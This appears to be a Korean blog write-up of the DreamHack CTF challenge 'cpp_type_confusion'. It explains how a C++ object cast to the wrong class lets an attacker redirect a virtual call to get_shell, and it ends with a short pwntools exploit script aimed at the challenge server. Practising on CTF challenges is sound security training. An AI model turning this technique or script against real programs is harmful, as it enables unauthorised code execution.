본문 바로가기

CTF/Pwnable

[DreamHack] cpp_type_confusion Write-up

c++코드분석

  • get_shell()함수 존재
  • Apple, Mango 비교해보면 description만 다름 

case3보면 mixer는 Applge class로 캐스팅 했지만 mango 클래스 객체 구조이다

=> type confusion 

 

또한 mixer->description을 입력 받음 

selector3를 보면 mixer->yum()을 실행한다 

=> mixer는 mango 객체 구조를 가리키기 때문에, yum()이 호출되면 위와 같이 mango 클래스에 선언된 description()를 실행

 

description에 getshell()주소 저장하고 mixer->yum()을 실행해보자

yum() -> description() -> getshell()

 

공격시나리오 

1] case 1,2로 apple, magoe생성 

2] case3로 mixer 생성 , description에 getshell 주소 저장

3] case4로 mixer->yum() 실행

4] 쉘 획득

 

getsehll주소 획득 

0x400fa6

 

익스플로잇 작성 

from pwn import *

p = remote('host3.dreamhack.games', 14935)
e = ELF('./cpp_type_confusion')

p.sendlineafter(": ", "1")
p.sendlineafter(": ", "2")
p.sendlineafter(": ", "3")
p.sendlineafter(": ", p32(0x400FA6))
p.sendlineafter(": ", "4")
p.sendlineafter(": ", "3")

p.interactive()

'CTF > Pwnable' 카테고리의 다른 글

[DreamHack]linux_forest Write-up  (0) 2024.03.27
[DreamHack] binary_fix_tool Write-up  (0) 2024.03.24
[DreamHack] Master Canary Write-up  (0) 2024.03.24
[DreamHack] Bypass SECCOMP-1 Write-up  (0) 2024.03.23
[DreamHack] rop Write-up  (0) 2024.03.16